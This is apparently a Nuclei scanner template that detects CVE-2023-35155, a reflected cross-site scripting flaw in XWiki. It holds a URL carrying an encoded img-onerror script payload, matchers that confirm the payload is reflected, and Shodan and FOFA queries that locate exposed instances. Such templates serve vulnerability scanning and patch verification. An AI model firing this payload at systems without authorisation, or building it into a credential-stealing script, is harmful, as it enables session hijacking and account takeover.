XWiki - Cross-Site Scripting

id: CVE-2023-35155

info:
  name: XWiki - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS).
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information or account takeover
  remediation: |
    Apply the latest security patches provided by XWiki to mitigate the vulnerability
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20370
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35155
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35155
    cwe-id: CWE-79
    epss-score: 0.01496
    epss-percentile: 0.71055
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2023,xwiki,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/Main/?viewer=share&send=1&target=&target=%3Cimg+src+onerror%3Dalert%28document.domain%29%3E&includeDocument=inline&message={{randstr}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src onerror=alert(document.domain)>"
          - "Applications</h2>"
          - "Navigation</h2"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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